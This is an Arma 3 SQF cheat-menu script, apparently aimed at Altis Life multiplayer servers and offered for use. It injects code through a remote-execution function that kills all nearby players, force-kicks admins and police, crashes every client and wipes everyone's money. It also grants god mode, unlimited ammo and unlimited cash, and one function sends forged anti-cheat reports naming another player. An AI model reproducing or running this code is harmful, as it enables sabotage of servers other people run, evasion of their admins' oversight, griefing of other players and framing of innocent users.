FfIXxfPpsS= player addAction ["Fix FPS", {_class = (nearestObjects [[6800, 9200, 0], ["Man", "Land_Fire", "MedBox0", "wire_cat1", "Hedgehog", "Sandbag1", "BearTrap", "WeaponHolder"], 11000]) + allDead;{if (_x != objNull) then{deleteVehicle _x;[format ["Deleted %1", typeOf _x], "PLAIN", 1];};sleep 0.05;} forEach _class;}];
player removeaction killaa;
killaa= player addAction ["Kill All Player", {_list = player nearEntities 20000; { _x setDamage 1; } forEach(_list);}];
player removeaction EDDText;
EDDText= player addAction ["3D Text",{closedialog 0;if (isNil "IRREEECOMMMMMANNNNNDDD_atext") then {IRREEECOMMMMMANNNNNDDD_atext = 0;};if (IRREEECOMMMMMANNNNNDDD_atext == 0) then {IRREEECOMMMMMANNNNNDDD_atext = 1;hint "3D Text ON";_3d = "[] spawn{disableSerialization;if (isNil ""BIS_fnc_3dCredits_n"") then {BIS_fnc_3dCredits_n = 2733;};BIS_fnc_3dCredits_n cutRsc [""rscDynamicText"", ""PLAIN""];BIS_fnc_3dCredits_n = BIS_fnc_3dCredits_n + 1;_ctrl = ((uiNamespace getvariable ""BIS_dynamicText"") displayctrl 9999);_ctrl ctrlShow true; _ctrl ctrlEnable true; _ctrl ctrlSetFade 0;tdtext = true;while {tdtext} do{if !(tdtext) exitWith {};_pos = [(getPosATL player) select 0, (getPosATL player) select 1, ((getPosATL player) select 2) + 2];_pos2D = worldToScreen _pos;if (count _pos2D > 0) then{_ctrl ctrlSetPosition [(_pos2D select 0) - (safezoneW / 2), (_pos2D select 1), safezoneW, safezoneH];_text = parseText ""<t size='0.8' color='#FF1AAA'>Server geowned =P</t>"";_ctrl ctrlSetStructuredText _text;_ctrl ctrlCommit 0;};};_ctrl ctrlShow false;_ctrl ctrlEnable false;};";[_3d] call DurkSintax_Pro_RE;} else {IRREEECOMMMMMANNNNNDDD_atext = 0;hint "3D Text OFF";_3d = "tdtext = false; tdtext = nil";[_3d] call DurkSintax_Pro_RE;};}];
player removeaction DESS;
DESS= player addAction ["Desync Server","[]spawn Irecommend_MegaDesync"];
player removeaction KickAdmin;
KickAdmin= player addAction ["Kick <t color='#FF0000'>Admins</t>", {if (isnil("Kick_Admins")) then {Kick_Admins = 0;};if (Kick_Admins == 0) then {Kick_Admins = 1;hint "Auto Admin Kick ON - ";}else{Kick_Admins = 0;hint "Auto Admin Kick OFF - ";};while {Kick_Admins == 1}do{autokick = format["if(call life_adminlevel > 0) then {failMission'LOSER';0 fadeSound 0;for'_l39'from 0 to 100 do{(findDisplay _l39)closeDisplay 0;};};", autokick];[autokick] call DurkSintax_Pro_RE;onEachFrame {nil};}; onEachFrame {nil};}];
player removeaction KickCops;
KickCops= player addAction ["Kick <t color='#0000FF'>Cops</t>", {if (isnil("Cop_Admins")) then { Cop_Admins = 0; }; if (Cop_Admins == 0) then { Cop_Admins = 1; hint "Auto Cop Kick ON - "; } else { Cop_Admins = 0; hint "Auto Cop Kick OFF - "; }; while {Cop_Admins == 1} do { autokick = format["if(call life_coplevel > 0) then {failMission'LOSER';0 fadeSound 0;for'_l39'from 0 to 100 do{(findDisplay _l39)closeDisplay 0;};};", autokick];[autokick] call DurkSintax_Pro_RE;sleep 15;}; }];
player removeaction KickServer;
KickServer= player addAction ["ServerDown", {autokick = format["if(1 == 1) then {failMission'LOSER';0 fadeSound 0;for'_l39'from 0 to 100 do{(findDisplay _l39)closeDisplay 0;};};", autokick];[autokick] call DurkSintax_Pro_RE;hint "All Players has been kicked"; }];
//player removeaction VFBnr;
//VFBnr= player addAction ["<t color='#7F25E0'>===Visual Filter===</t>", ""];
player removeaction morecmso;
morecmso= player addAction ["<t color='#7F25E0'>===more coming soon===</t>", ""];
};
////AlitsMenue////
AltisMenue={removeallactions player;
player removeaction CloeAltis;
CloeAltis= player addAction ["<t color='#FF0000'>Close</t>", "[]spawn NxIrecommendMain"];
player removeaction LizMenueLoad;
LizMenueLoad= player addAction ["<t color='#00FF00'>Lizenz Menue</t>", "[]spawn LizenzM"];
player removeaction AltisBanner2;
AltisBanner2= player addAction ["<t color='#000000'>----------------------</t>", ""];
player removeaction SpawnCi;
SpawnCi= player addAction ["<t color='#7F25E0'>===Spawn===</t>", ""];
SpawnMariu={[true,"marijuana",1] call life_fnc_handleInv;};
player removeaction spawnMa;
spawnMa= player addAction ["Spawn marijuana","[]spawn SpawnMariu"];
SpawnSpike={[true,"spikeStrip",10] call life_fnc_handleInv;};
player removeaction spawnSp;
spawnSp= player addAction ["Spawn spikeStrip","[]spawn SpawnSpike"];
player removeaction Civi;
Civi= player addAction ["<t color='#7F25E0'>===Civi===</t>", ""];
player removeaction getkey;
getkey= player addAction ["GetTargetKey","[]spawn DurkSintax_GetTargetKey"];
player removeaction jailescpe;
jailescpe= player addAction ["JailEscape","[]spawn DurkSintax_JailEscape"];
player removeaction unrstrnme;
unrstrnme= player addAction ["Unrestrain","[]spawn DurkSintax_UnrestrainMyself"];
player removeaction nmretzr;
nmretzr= player addAction ["No more tazer","[]spawn IreeecOMMMaAndDnd_AL_NoTaze"];
player removeaction nmri;
nmri= player addAction ["No Illegal Items","[]spawn Ddasdaw_AL_NoIllegal"];
player removeaction Cop;
Cop= player addAction ["<t color='#7F25E0'>===Cop===</t>", ""];
player removeaction rstr;
rstr= player addAction ["GetTargetKey","[]spawn DurkSintax_RestrainTarget"];
player removeaction escortta;
escortta= player addAction ["EscortPlayerTarget","[]spawn DurkSintax_EscortPlayer"];
player removeaction impovhil;
impovhil= player addAction ["Impound vehicle","[]spawn NuuuuRdalkjda_AL_Impound"];
player removeaction stopescortta;
stopescortta= player addAction ["Stop EscortPlayerTarget","[]spawn DurkSintax_StopEscortPlayer"];
player removeaction jailtgt;
jailtgt= player addAction ["JailTarget","[]spawn DurkSintax_JailTarget"];
player removeaction moneyyy;
moneyyy= player addAction ["<t color='#7F25E0'>===Money===</t>", ""];
player removeaction mnyATM;
mnyATM= player addAction ["10k Money geben (ATM) ","life_atmbucks = life_atmbucks + 100000"];
player removeaction mny;
mny= player addAction ["100k Money geben","life_Cash = life_Cash + 100000"];
player removeaction mnyyy;
mnyyy= player addAction ["500k Money geben","life_Cash = life_Cash + 500000"];
player removeaction money_TTt;
money_TTt= player addAction ["1Mil.Target","[]spawn Spyglassistschlecht_Cash_1mill_t"];
player removeaction mnyy;
mnyy= player addAction ["1Mio. Money geben","life_Cash = life_Cash + 1000000"];
player addAction ["1Mio. allen Spielern geben", { _share = " life_cash = life_cash + 1000000;"; [_share] call DurkSintax_Pro_RE;}];
player addAction ["5Mio. allen Spielern geben", { _share = " life_cash = life_cash + 5000000;"; [_share] call DurkSintax_Pro_RE;}];
player addAction ["10Mio. allen Spielern geben", { _share = " life_cash = life_cash + 10000000;"; [_share] call DurkSintax_Pro_RE;}];
player addAction ["Geld jedem Spieler loeschen", { _share = " life_cash = 0; life_atmcash = 0; "; [_share] call DurkSintax_Pro_RE;}];
};
////SpawnMenü////
SpawnMenue={removeallactions player;
player removeaction closespawn;
closespawn= player addAction ["<t color='#FF0000'>Close</t>","[]spawn NxIrecommendMain"];
player removeaction LoadoutMenueLoad;
LoadoutMenueLoad= player addAction ["<t color='#00FF00'>Loadout Menue</t>", "[]spawn LoadoutMenue"];
player removeaction SpawnBanner2;
MainBanner2= player addAction ["<t color='#000000'>----------------------</t>", ""];
player removeaction clothing;
clothing= player addAction ["Clothing", "removeUniform player; removeHeadgear player; removeVest player; player forceAddUniform 'U_IG_Guerilla2_1'; player addHeadgear 'H_Cap_blu'; player addVest 'V_BandollierB_khk';"];
player removeaction bckpck;
bckpck= player addAction ["Backpack+Items","player addBackpack 'B_Carryall_Base'; player addWeapon 'ItemWatch'; player addWeapon 'ItemCompass'; player addWeapon 'ItemGPS'; player addWeapon 'ItemRadio'; player addWeapon 'ItemMap';"];
player removeaction crspw;
crspw=player addAction ["Crate","[]spawn CrazyMotherFuckerDurkkkk_SpawnCrate"];
player removeaction crspwdel;
crspwdel=player addAction ["Delete Crate","[]spawn CrazyMotherFuckerDurkkkk_DelCrate"];
player removeaction jtbs;
jtbs= player addAction ["Spawn JetBus","[]spawn SpawwwnnnIrecommmmEnDndNd_JetBus"];
player removeaction spwnveh2;
spwnveh2= player addAction ["Spawn Hatchback","[]spawn SpawnHatchback"];
player removeaction spwnveh3;
spwnveh3= player addAction ["Spawn Truck","[]spawn SpawnTruck1"];
player removeaction spwnveh4;
spwnveh4= player addAction ["Spawn AH9","[]spawn SpawnHeli"];
player removeaction spwnah9a;
spwnah9a = player addAction ["Spawn AH9 (all)", {{"B_Heli_Light_01_armed_F" createVehicle position _x;} foreach playableUnits;}];
player removeaction spwnah9p;
spwnah9p =player addAction ["Spawn AH9 (plr)",{"B_Heli_Light_01_armed_F" createVehicle position player;}];
};
LoadoutMenue={removeallactions player;
player removeaction CloeLoad;
CloeLoad= player addAction ["<t color='#FF0000'>Close</t>", "[]spawn SpawnMenue"];
player removeaction LoadBanner2;
LoadBanner2= player addAction ["<t color='#000000'>----------------------</t>", ""];
player addAction ["<t color='#00FF00'>Gear Editor</t>",{["Open",true] call BIS_fnc_arsenal;}];
player removeaction VBnr;
VBnr= player addAction ["<t color='#FF0000'>===Civi Loadout===</t>", ""];
player removeaction civi1;
civi1= player addAction ["Spawn Civi Gear 1",{removeUniform player;
player forceAddUniform 'U_IG_Guerilla2_1';
player addHeadgear 'H_Booniehat_tan';
player addVest 'V_BandollierB_cbr';
player addBackpack 'B_Carryall_oli';
player addWeapon 'SMG_01_ACO_F';
player addMagazines ["30Rnd_45ACP_Mag_SMG_01", 5];
player addItemToBackpack 'NVGoggles';
player addItemToBackpack 'G_Shades_Black';}];
player removeaction civi2;
civi2= player addAction ["Spawn Civi Gear 2",{removeUniform player;
player forceAddUniform 'U_IG_Guerilla3_1';
player addHeadgear 'H_Bandanna_khk';
player addVest 'V_BandollierB_cbr';
player addBackpack 'B_Carryall_oli';
player addWeapon 'SMG_01_ACO_F';
player addMagazines ["30Rnd_45ACP_Mag_SMG_01", 5];
player addItemToBackpack 'NVGoggles';
player addItemToBackpack 'G_Shades_Black';}];
player removeaction mocmso;
mocmso= player addAction ["<t color='#FF0000'>===Rebell Loadout===</t>", ""];
player removeaction reb1;
reb1= player addAction ["Spawn Rebell Gear 1",{removeUniform player;
removeUniform player;
player forceAddUniform 'U_O_SpecopsUniform_ocamo';
player addHeadgear 'H_Bandanna_khk';
player addVest 'V_TacVest_brn';
player addBackpack 'B_Carryall_oli';
player addWeapon 'arifle_Katiba_F';
player addMagazines ["30Rnd_65x39_caseless_green", 5];
player addItemToBackpack 'NVGoggles';
player addItemToBackpack 'FirstAidKit';
player addItemToBackpack 'optic_Arco';
player addItemToBackpack 'G_Sport_Blackred';
player addItemToBackpack 'muzzle_snds_H';;}];
player removeaction reb2;
reb2= player addAction ["Spawn Rebell Gear 2",{removeUniform player;
removeUniform player;
player forceAddUniform 'U_I_CombatUniform';
player addHeadgear 'H_Shemag_olive';
player addVest 'V_TacVest_brn';
player addBackpack 'B_Carryall_oli';
player addweapon 'srifle_EBR_ACO_F';
player addMagazines ["20Rnd_762x51_Mag", 5];
player addItemToBackpack 'G_Sport_Blackred';
player addItemToBackpack 'muzzle_snds_B';
player addItemToBackpack 'optic_Arco';;}];
player removeaction amocmso;
amocmso= player addAction ["<t color='#FF0000'>===Cops Loadout===</t>", ""];
player removeaction cop1;
cop1= player addAction ["Spawn Rekrut Gear 1",{removeUniform player;
removeUniform player;
player forceAddUniform 'U_Rangemaster';
player addHeadgear 'H_Cap_headphones';
player addVest 'V_TacVest_blk_POLICE';
player addBackpack 'B_Carryall_ocamo';
player addWeapon 'arifle_MXM_F';
player addMagazines ["30Rnd_65x39_caseless_mag", 5];
player addItemToBackpack 'optic_Arco';
player addItemToBackpack 'G_Shades_Black';
player addItemToBackpack 'muzzle_snds_H';;;}];
player removeaction cop2;
cop2= player addAction ["Spawn SWAT Gear 2",{removeUniform player;
removeUniform player;
player forceAddUniform 'U_B_CombatUniform_mcam';
player addHeadgear 'H_Beret_blk_POLICE';
player addVest 'V_TacVest_blk_POLICE';
player addBackpack 'B_Carryall_ocamo';
player addWeapon 'arifle_MXM_F';
player addMagazines ["30Rnd_65x39_caseless_mag", 5];
player addItemToBackpack 'NVGoggles';
player addItemToBackpack 'optic_Arco';
player addItemToBackpack 'G_Shades_Black';
player addItemToBackpack 'muzzle_snds_H';;}];
player removeaction aamocmso;
aamocmso= player addAction ["<t color='#FF0000'>===Sonstiges Loadout===</t>", ""];
player removeaction crspw;
crspw=player addAction ["Crate","[]spawn CrazyMotherFuckerDurkkkk_SpawnCrate"];
player removeaction crspwdel;
crspwdel=player addAction ["Delete Crate","[]spawn CrazyMotherFuckerDurkkkk_DelCrate"];
player removeaction Loadout1;
Loadout1= player addAction ["LRR","[]spawn LoudoutIrecommend_LRRP"];
player removeaction Loadout2;
Loadout2= player addAction ["DMR","[]spawn LoudoutIrecommend_DMRP"];
player removeaction Loadout3;
Loadout3= player addAction ["EBR","[]spawn LoudoutIrecommend_EBRP"];
player removeaction Loadout4;
Loadout4= player addAction ["PDW","[]spawn LoudoutIrecommend_PDWP"];
player removeaction Loadout5;
Loadout5= player addAction ["Heavy","[]spawn LoudoutIrecommend_HEAVYP"];
player removeaction Loadout6;
Loadout6= player addAction ["MXM","[]spawn LoudoutIrecommend_MXMP"];
player removeaction Loadout7;
Loadout7= player addAction ["TRG 21","[]spawn LoudoutIrecommend_TRGP"];
player removeaction Loadout8;
Loadout8= player addAction ["Scuba Steve","[]spawn LoudoutIrecommend_UNDERWATERP"];
player removeaction Loadout9;
Loadout9= player addAction ["Police Academy","[]spawn LoudoutIrecommend_ALTISP"];
player removeaction kart;
kart= player addAction ["Kart mit Auto",{removeUniform player;
player forceAddUniform 'U_C_Driver_1_red';
player addHeadgear 'H_RacingHelmet_1_red_F';
player addBackpack 'B_Carryall_oli';
player addMagazines ["6Rnd_RedSignal_F", 5];
player addWeapon 'hgun_Pistol_Signal_F';
_veh = createVehicle ["C_Kart_01_F", position player, [], 0, "NONE"];}];
};
LizenzM={Irecommend_LicenseDrive={hint"Buy License Driver Menu";player addAction[format["%1 ($%2)",["license_civ_driver"] call life_fnc_varToStr,[(["driver"] call life_fnc_licensePrice)] call life_fnc_numberText],life_fnc_buyLicense,"driver",0,false,false,"",' !license_civ_driver && playerSide == civilian '];};
Irecommend_LicenseBoat={hint"Buy License Boat Menu";player addAction[format["%1 ($%2)",["license_civ_boat"] call life_fnc_varToStr,[(["boat"] call life_fnc_licensePrice)] call life_fnc_numberText],life_fnc_buyLicense,"boat",0,false,false,"",' !license_civ_boat && playerSide == civilian '];};
Irecommend_LicensePilot={hint"Buy License Pilot Menu";player addAction[format["%1 ($%2)",["license_civ_air"] call life_fnc_varToStr,[(["pilot"] call life_fnc_licensePrice)] call life_fnc_numberText],life_fnc_buyLicense,"pilot",0,false,false,"",' !license_civ_air && playerSide == civilian '];};
Irecommend_LicenseTruck={hint"Buy License Truck Menu";player addAction[format["%1 ($%2)",["license_civ_truck"] call life_fnc_varToStr,[(["truck"] call life_fnc_licensePrice)] call life_fnc_numberText],life_fnc_buyLicense,"truck",0,false,false,"",' !license_civ_truck && playerSide == civilian '];};
Irecommend_LicenseCivGun={hint"Buy License Gun Menu";player addAction[format["%1 ($%2)",["license_civ_gun"] call life_fnc_varToStr,[(["gun"] call life_fnc_licensePrice)] call life_fnc_numberText],life_fnc_buyLicense,"gun",0,false,false,"",' !license_civ_gun && playerSide == civilian '];};
Irecommend_LicenseSalt={hint"Buy License Salt Menu";player addAction[format["%1 ($%2)",["license_civ_salt"] call life_fnc_varToStr,[(["salt"] call life_fnc_licensePrice)] call life_fnc_numberText],life_fnc_buyLicense,"salt",0,false,false,"",' !license_civ_salt && playerSide == civilian '];};
Irecommend_LicenseWeed={hint"Buy License Weed Menu";player addAction[format["%1 ($%2)",["license_civ_marijuana"] call life_fnc_varToStr,[(["marijuana"] call life_fnc_licensePrice)] call life_fnc_numberText],life_fnc_buyLicense,"marijuana",0,false,false,"",' !license_civ_marijuana && playerSide == civilian '];};
Irecommend_LicenseDiamond={hint"Buy License Diamond Menu";player addAction[format["%1 ($%2)",["license_civ_diamond"] call life_fnc_varToStr,[(["diamond"] call life_fnc_licensePrice)] call life_fnc_numberText],life_fnc_buyLicense,"diamond",0,false,false,"",' !license_civ_diamond && playerSide == civilian '];};
Irecommend_LicenseIron={hint"Buy License Iron Menu";player addAction[format["%1 ($%2)",["license_civ_iron"] call life_fnc_varToStr,[(["iron"] call life_fnc_licensePrice)] call life_fnc_numberText],life_fnc_buyLicense,"iron",0,false,false,"",' !license_civ_iron && playerSide == civilian '];};
Irecommend_LicenseCopper={hint"Buy License Copper Menu";player addAction[format["%1 ($%2)",["license_civ_copper"] call life_fnc_varToStr,[(["copper"] call life_fnc_licensePrice)] call life_fnc_numberText],life_fnc_buyLicense,"copper",0,false,false,"",' !license_civ_copper && playerSide == civilian '];};
Irecommend_LicenseDiving={hint"Buy License Diving Menu";player addAction[format["%1 ($%2)",["license_civ_dive"] call life_fnc_varToStr,[(["dive"] call life_fnc_licensePrice)] call life_fnc_numberText],life_fnc_buyLicense,"dive",0,false,false,"",' !license_civ_dive && playerSide == civilian '];};
Irecommend_LicenseCoke={hint"Buy License Coke Menu";player addAction[format["%1 ($%2)",["license_civ_coke"] call life_fnc_varToStr,[(["cocaine"] call life_fnc_licensePrice)] call life_fnc_numberText],life_fnc_buyLicense,"cocaine",0,false,false,"",' !license_civ_coke && playerSide == civilian '];};
Irecommend_LicenseCiment={hint"Buy License Ciment Menu";player addAction[format["%1 ($%2)",["license_civ_cement"] call life_fnc_varToStr,[(["cement"] call life_fnc_licensePrice)] call life_fnc_numberText],life_fnc_buyLicense,"cement",0,false,false,"",' !license_civ_cement && playerSide == civilian '];};
Irecommend_LicenseHeroin={hint"Buy License Heroin Menu";player addAction[format["%1 ($%2)",["license_civ_heroin"] call life_fnc_varToStr,[(["heroin"] call life_fnc_licensePrice)] call life_fnc_numberText],life_fnc_buyLicense,"heroin",0,false,false,"",' !license_civ_heroin && playerSide == civilian '];};
Irecommend_LicenseRebel={hint"Buy License Rebel Menu";player addAction[format["%1 ($%2)",["license_civ_rebel"] call life_fnc_varToStr,[(["rebel"] call life_fnc_licensePrice)] call life_fnc_numberText],life_fnc_buyLicense,"rebel",0,false,false,"",' !license_civ_rebel && playerSide == civilian '];};
Irecommend_LicenseSand={hint"Buy License Sand Menu";player addAction[format["%1 ($%2)",["license_civ_sand"] call life_fnc_varToStr,[(["sand"] call life_fnc_licensePrice)] call life_fnc_numberText],life_fnc_buyLicense,"sand",0,false,false,"",' !license_civ_sand && playerSide == civilian '];};
removeallactions player;
player removeaction CloeLizenz;
CloeLizenz= player addAction ["<t color='#FF0000'>Close</t>", "[]spawn AltisMenue"];
//player removeaction AllLl;
//AllLl= player addAction ["<t color='#70E834'>All liscenses</t>", "[]spawn IreeecOMMMaAndDndEDasd_AL_Liscenses"];
player removeaction LizenzBanner2;
AltisBanner2= player addAction ["<t color='#000000'>----------------------</t>", ""];
player removeaction drive;
drive= player addAction ["Drive","[]spawn Irecommend_LicenseDrive"];
player removeaction boat;
boat= player addAction ["Boat","[]spawn Irecommend_LicenseBoat"];
player removeaction Pilot;
Pilot= player addAction ["Pilot","[]spawn Irecommend_LicensePilot"];
player removeaction truck;
truck= player addAction ["Truck","[]spawn Irecommend_LicenseTruck"];
player removeaction gun;
gun= player addAction ["Civi Guns","[]spawn Irecommend_LicenseCivGun"];
player removeaction Rebel;
Rebel= player addAction ["Rebel","[]spawn Irecommend_LicenseRebel"];
player removeaction salz;
salz= player addAction ["Salt","[]spawn Irecommend_LicenseSalt"];
player removeaction weed;
weed= player addAction ["Weed","[]spawn Irecommend_LicenseWeed"];
player removeaction Diamond;
Diamond= player addAction ["Diamond","[]spawn Irecommend_LicenseDiamond"];
player removeaction Iron;
Iron= player addAction ["Iron","[]spawn Irecommend_LicenseIron"];
player removeaction Copper;
Copper= player addAction ["Copper","[]spawn Irecommend_LicenseCopper"];
player removeaction Diving;
Diving= player addAction ["Diving","[]spawn Irecommend_LicenseDiving"];
player removeaction cocaine;
cocaine= player addAction ["Cocaine","[]spawn Irecommend_LicenseCoke"];
player removeaction Ciment;
Ciment= player addAction ["Ciment","[]spawn Irecommend_LicenseCiment"];
player removeaction Heroin;
Heroin= player addAction ["Heroin","[]spawn Irecommend_LicenseHeroin"];
player removeaction Sand;
Sand= player addAction ["Sand","[]spawn Irecommend_LicenseSand"];
};
////Scripts////
DurkSintax_GodMode_t={_l23=cursorTarget;if(isNil"GodLolPenis")then{GodLolPenis=true;gnamearr=[];};if!(_l23 in gnamearr)then{hint format["God Mode on %1 Activated",_l23];gnamearr=gnamearr+[_l23];}else{hint format["God Mode on %1 Deactivated",_l23];gnamearr=gnamearr-[_l23];};_l108=format["if(name player=='%1')then{if(isNil'gmdlol')then{gmdlol=true;player removeAllEventHandlers'handleDamage';player addEventHandler['handleDamage',{false}];player allowDamage false;}else{player addEventHandler['handleDamage',{true}];player removeAllEventHandlers'handleDamage';player allowDamage true;gmdlol=nil;};};",_l23];[_l108]call DurkSintax_Pro_RE;};
IreeecOMMMaAndDnd_AL_NoTaze = {life_fnc_tazed = 0;["TaskSucceeded", ["", "Die Cops können dich nicht mehr tazern!"]] call bis_fnc_showNotification;};
IreeecOMMMaAndDndEDasd_AL_Liscenses = {{missionnamespace setVariable[(_x select 0), true];}foreach life_licenses;["TaskSucceeded", ["", "Alle Lizenzen hinzugefügt!"]] call bis_fnc_showNotification;};
NuuuuRdalkjda_AL_Impound = {_this spawn life_fnc_impoundAction;["TaskSucceeded", ["", "Fahrzeug abgeschleppt!"]] call bis_fnc_showNotification;};
SpyglassFakeTrigger={_GAPERNAME = name cursorTarget;_GAPERuid = getPlayerUID cursorTarget;[[_GAPERNAME,_GAPERuid,"MenuBasedHack_DISPLAY_162"],"SPY_fnc_cookieJar",false,false] spawn BIS_fnc_MP;
[[_GAPERNAME,"Menu Hack: DISPLAY 162 (Lystic & Bobby Menu Hack)"],"SPY_fnc_notifyAdmins",true,false] spawn BIS_fnc_MP;};
U_N_L_I_ME={if(isnil("Irecommend_Unlim_Ammo"))then{Irecommend_Unlim_Ammo=0;};if(Irecommend_Unlim_Ammo==0)then{Irecommend_Unlim_Ammo=1;cutText[format["Unlimited Ammo on"],"PLAIN DOWN"];hint"Unlimited Ammo on";}else{Irecommend_Unlim_Ammo=0;cutText[format["Unlimited Ammo Off"],"PLAIN DOWN"];hint"Unlimited Ammo Off";};while{Irecommend_Unlim_Ammo==1}do{_l25=primaryWeapon player;_l31=secondaryWeapon player;player setAmmo[_l25,999];player setAmmo[_l31,999];(vehicle player)setVehicleAmmo 1;(vehicle player)setVehicleAmmo 1;sleep 0.01;};};
FuckTonicInTheAssHole_VehM={if!("ItemMap"in items player)then{player addweapon"ItemMap";};if(isnil"FuckTonicInTheAssHole_Veh_M")then{FuckTonicInTheAssHole_Veh_M=0;};if(FuckTonicInTheAssHole_Veh_M==0)then{FuckTonicInTheAssHole_Veh_M=1;hint"Vehicle Markers ON";}else{FuckTonicInTheAssHole_Veh_M=0;hint"Vehicle Markers OFF";};while{FuckTonicInTheAssHole_Veh_M==1}do{{FuckTonicInTheAssHole_Veh_Markers=str _x;deleteMarkerLocal FuckTonicInTheAssHole_Veh_Markers;FuckTonicInTheAssHole_Veh_Markers=createMarkerLocal[FuckTonicInTheAssHole_Veh_Markers,visiblePosition _x];FuckTonicInTheAssHole_Veh_Markers setMarkerTypeLocal"waypoint";FuckTonicInTheAssHole_Veh_Markers setMarkerPosLocal visiblePosition _x;FuckTonicInTheAssHole_Veh_Markers setMarkerSizeLocal[0.5,0.5];FuckTonicInTheAssHole_Veh_Markers setMarkerTextLocal format['%1',typeOf _x];if((_x isKindOf"Air")||(_x isKindOf"Tank"))then{FuckTonicInTheAssHole_Veh_Markers setMarkerColorLocal("ColorRed");}else{FuckTonicInTheAssHole_Veh_Markers setMarkerColorLocal("ColorBlue");};}forEach vehicles;sleep 1;};{FuckTonicInTheAssHole_Veh_Markers=str _x;deleteMarkerLocal FuckTonicInTheAssHole_Veh_Markers;}forEach vehicles;};
HealMePlease_NOT={if(!(isNil"TonicistschlechtLololol__GUI_R")or!(isNil"TonicistschlechtLololol__originalPlayer"))then{r_player_handler=false;r_player_handler1=false;r_player_dead=false;r_player_unconscious=false;r_player_infected=false;r_player_injured=false;r_player_inpain=false;r_player_loaded=false;r_player_cardiac=false;r_fracture_legs=false;r_fracture_arms=false;r_player_blood=12000;r_player_lowblood=false;r_player_timeout=0;r_handlerCount=0;TonicistschlechtLololol__hunger=0;TonicistschlechtLololol__thirst=0;TonicistschlechtLololol__temperatur=42;player setDamage 0;vehicle player setDamage 0;}else{player setDamage 0;vehicle player setDamage 0;};cutText[format["Healed"],"PLAIN DOWN"];};
GodModePlease_NOT={if(!(isNil"TonicistschlechtLololol__GUI_R")or!(isNil"TonicistschlechtLololol__originalPlayer"))then{if(isNil"Irecommend_God_ModeLOL")then{Irecommend_God_ModeLOL=true;};if(Irecommend_God_ModeLOL)then{Irecommend_God_ModeLOL=false;hint"GOD ON";cutText[format["GOD ON"],"PLAIN"];_l32=player;fnc_usec_damageHandler=nil;fnc_usec_unconscious=nil;_l32 removeAllEventHandlers"handleDamage";_l33=false;_l32 addEventHandler["handleDamage",{}];_l32 allowDamage false;}else{Irecommend_God_ModeLOL=true;hint"GOD OFF";cutText[format["GOD OFF"],"PLAIN"];fnc_usec_damageHandler=compile preprocessFileLineNumbers"\z\addons\TonicistschlechtLololol__code\compile\fn_damageHandler.sqf";fnc_usec_unconscious=compile preprocessFileLineNumbers"\z\addons\TonicistschlechtLololol__code\compile\fn_unconscious.sqf";player removeAllEventHandlers"handleDamage";player addEventHandler["handleDamage",{true}];player allowDamage true;};}else{if(isNil"I_R_E_C_O_Ml_G0d_Mode")then{I_R_E_C_O_Ml_G0d_Mode=0;};if(I_R_E_C_O_Ml_G0d_Mode==0)then{I_R_E_C_O_Ml_G0d_Mode=1;hint"GOD ON";cutText[format["GOD ON"],"PLAIN"];fnc_usec_damageHandler={};fnc_usec_unconscious={};player removeAllEventHandlers"handleDamage";player addEventHandler["handleDamage",{false}];player allowDamage false;}else{I_R_E_C_O_Ml_G0d_Mode=0;hint"GOD OFF";cutText[format["GOD OFF"],"PLAIN"];player addEventHandler["handleDamage",{true}];player removeAllEventHandlers"handleDamage";player allowDamage true;};};};
SpawnOffroad={"C_Offroad_01_F" createVehicle (getPosAtl player);};
SpawnHatchback={_toSpawn = "C_Hatchback_01_sport_F" createVehicle position player;};
SpawnTruck1={_toSpawn = "B_Truck_01_covered_F" createVehicle position player;};
SpawnHeli={"B_Heli_Light_01_F" createVehicle (getPosAtl player);};
DurkSintax_UnrestrainMyself={hint"UnRestrain Enabled!";cutText ["UnRestrain Enabled!","PLAIN"];cutText[format["UnRestrain Enabled"],"PLAIN DOWN"];player setVariable["restrained",FALSE,TRUE];};
DurkSintax_UnrestrainTarget={hint"UnRestrain Enabled!";cutText ["UnRestrain Enabled!","PLAIN"];cutText[format["UnRestrain Enabled"],"PLAIN DOWN"];cursorTarget setVariable["restrained",FALSE,TRUE];};
DurkSintax_RestrainTarget={hint"Restrain Player Cursor Target Enabled!";cutText ["Restrain Player Cursor Target Enabled!","PLAIN"];cutText[format["Restrain Player Cursor Target Enabled"],"PLAIN DOWN"];cursorTarget setVariable["restrained",true,true]; [[player], "life_fnc_restrain", _unit, false] spawn life_fnc_MP; [[0,format["", name cursorTarget, name player]],"life_fnc_broadcast",west,false] spawn life_fnc_MP;};
DurkSintax_StopEscortMyself={hint"Stop Escort Enabled!";cutText ["Stop Escort Enabled!","PLAIN"];cutText[format["Stop Escort Enabled"],"PLAIN DOWN"];detach player; player setVariable["Escorting",false,true]; player setVariable["restrained",FALSE,TRUE];};
DurkSintax_EscortPlayer={hint"Escort Player Cursor Target Enabled!";cutText ["Escort Player Cursor Target Enabled!","PLAIN"];cutText[format["Escort Player Cursor Target Enabled"],"PLAIN DOWN"];cursorTarget attachTo [player,[0.1,1.1,0]];cursorTarget setVariable["transporting",false,true];cursorTarget setVariable["Escorting",true,true];};
DurkSintax_StopEscortPlayer={hint"Stop Escort Player Cursor Target Enabled!";cutText ["Stop Escort Player Cursor Target Enabled!","PLAIN"];cutText[format["Stop Escort Player Cursor Target Enabled"],"PLAIN DOWN"];detach cursorTarget;cursorTarget setVariable["Escorting",false,true];cursorTarget setVariable["restrained",FALSE,TRUE];};
DurkSintax_GetTargetKey={hint"Keys Of Target Enabled!";cutText ["Keys Of Target Enabled!","PLAIN"];cutText[format["Keys Of Target Enabled"],"PLAIN DOWN"];titleText["You now have keys to this vehicle.","PLAIN"]; life_vehicles set[count life_vehicles,cursorTarget];};
DurkSintax_JailEscape={hint"Escape From Jail Enabled!";cutText ["Escape From Jail Enabled!","PLAIN"];cutText[format["Escape From Jail Enabled"],"PLAIN DOWN"];titleText["RUN RUN RUN !!! YOU'RE ESCAPE !!!","PLAIN"];hint "You have paid your bail and are now free.";serv_wanted_remove = [player];player setPos (getMarkerPos "jail_release");[[getPlayerUID player],"life_fnc_wantedRemove",false,false];};
DurkSintax_JailTarget={hint"Jail Player Cursor Target Enabled!";cutText ["Jail Player Cursor Target Enabled!","PLAIN"];cutText[format["Jail Player Cursor Target Enabled"],"PLAIN DOWN"];cursorTarget setPos (getMarkerPos "jail_marker");};
